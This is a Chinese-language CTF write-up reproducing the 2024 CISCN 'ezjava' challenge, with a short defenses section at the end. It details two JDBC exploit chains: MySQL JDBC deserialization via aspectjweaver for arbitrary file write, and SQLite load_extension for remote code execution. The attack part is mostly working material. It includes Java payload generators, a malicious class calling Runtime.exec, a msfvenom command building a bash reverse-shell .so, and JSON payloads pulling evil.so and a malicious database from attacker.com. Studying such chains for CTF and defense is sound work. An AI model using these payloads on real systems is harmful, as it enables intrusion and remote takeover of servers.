2024ciscn ezjava复现
字数 1429 2025-08-22 12:23:12
JDBC 漏洞利用与攻击技术深度分析
1. 漏洞背景与概述
本文详细分析2024年CISCN比赛中"ezjava"题目的漏洞利用技术,主要涉及两种攻击路径:
- MySQL JDBC反序列化漏洞利用
- SQLite JDBC加载恶意so文件实现RCE
2. 环境分析
2.1 项目依赖分析
从pom.xml文件中可以看到关键依赖:
<dependencies>
<!-- 可能被利用的数据库驱动 -->
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.8.9</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.7.2</version>
</dependency>
<!-- 反序列化利用关键组件 -->
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
<scope>runtime</scope>
</dependency>
</dependencies>
3. MySQL JDBC反序列化攻击
3.1 攻击原理
利用MySQL JDBC客户端在特定配置下会反序列化服务器返回的数据的特性,结合aspectjweaver组件的文件写入功能,实现任意文件写入和代码执行。
3.2 关键代码分析
3.2.1 UserBean类
public class UserBean implements Serializable {
private String name;
private String age;
private Object obj;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
HashMap<String, byte[]> a = (HashMap) gf.get("obj", null);
String name = (String) gf.get("name", null);
String age = (String) gf.get("age", null);
if (a == null) return;
try {
a.put(name, Base64.getDecoder().decode(age));
} catch (Exception var7) {
var7.printStackTrace();
}
}
}
关键点:
- 可控的
readObject方法 - 可以触发
HashMap.put()操作 - 可以控制写入的内容(Base64解码后的age)和文件名(name)
3.2.2 利用链构造
利用aspectjweaver的SimpleCache$StoreableCachingMap类:
SimpleCache$StoreableCachingMap.put()SimpleCache$StoreableCachingMap.writeToPath()FileOutputStream.write()
3.3 攻击步骤
- 生成恶意类文件:
public class Evil implements Serializable {
private void readObject(java.io.ObjectInputStream s) throws Exception {
Runtime.getRuntime().exec("calc");
}
}
- 构造Payload生成器:
public class exp1 {
public static void main(String[] args) throws Exception {
UserBean userBean = new UserBean();
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap")
.getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
// 关键点:指定写入路径
Object simpleCache = aspectjConstructor.newInstance("./target/classes", 12);
userBean.setObj(simpleCache);
userBean.setName("Evil.class");
byte[] content_byte = Files.readAllBytes(new File("Evil.class").toPath());
userBean.setAge(Base64.getEncoder().encodeToString(content_byte));
// 序列化payload
FileOutputStream fileOutputStream = new FileOutputStream("payload");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(userBean);
}
}
- 搭建恶意MySQL服务器:
使用Python脚本模拟MySQL服务器,当客户端连接时返回构造的恶意序列化数据。
3.4 限制与绕过
-
路径问题:原题中指定了
./target/classes路径,但在实际JAR包环境中可能不存在- 解决方案:改为写入
/tmp等可写目录
- 解决方案:改为写入
-
二次利用:
- 第一次写入恶意class文件
- 第二次通过MySQL JDBC返回序列化数据触发反序列化
4. SQLite JDBC攻击
4.1 攻击原理
利用SQLite的load_extension功能加载恶意so文件实现RCE。
4.2 攻击步骤
- 生成恶意so文件:
msfvenom -p linux/x64/exec CMD='echo bash -c "bash -i >& /dev/tcp/ip/port 0>&1"的base64编码|base64 -d|bash' -f elf-so -o evil.so
- 通过MySQL写入so文件:
修改之前的exp,将路径改为/tmp:
Object simpleCache = aspectjConstructor.newInstance("/tmp", 12);
- 构造SQLite JDBC连接字符串触发:
{
"type": "3",
"tableName": "(select (load_extension(\"/tmp/evil.so\")));",
"url": "jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
}
4.3 进阶攻击:分阶段加载
- 第一阶段:上传恶意so文件
{
"type": "3",
"url": "jdbc:sqlite::resource:http://attacker.com/evil.so"
}
- 会在
/tmp下生成sqlite-jdbc-tmp-{hash}.db文件
- 第二阶段:上传恶意db文件
db文件内容:
CREATE VIEW security as SELECT (SELECT load_extension('/tmp/sqlite-jdbc-tmp-db'));
上传payload:
{
"type": "3",
"url": "jdbc:sqlite::resource:http://attacker.com/malicious.db",
"tableName": "security"
}
- 第三阶段:触发执行
{
"type": "3",
"url": "jdbc:sqlite:file:/tmp/sqlite-jdbc-tmp-db?enable_load_extension=true",
"tableName": "security"
}
5. 防御措施
-
MySQL JDBC防御:
- 设置系统属性
mysql.jdbc.deserialization.whitelist - 使用最新版本MySQL Connector/J
- 避免使用不可信的MySQL服务器
- 设置系统属性
-
SQLite防御:
- 禁用load_extension功能
- 设置
SQLiteConfig.enable_load_extension(false) - 验证所有JDBC连接参数
-
通用防御:
- 限制反序列化操作
- 使用安全管理器限制文件系统访问
- 及时更新所有依赖库
6. 总结
本文详细分析了两种JDBC攻击方式:
- 通过MySQL JDBC反序列化漏洞结合aspectjweaver实现任意文件写入和代码执行
- 利用SQLite的load_extension功能加载恶意so文件实现RCE
这两种攻击方式都利用了JDBC驱动的高级功能,在实际开发中需要特别注意这些功能的潜在风险。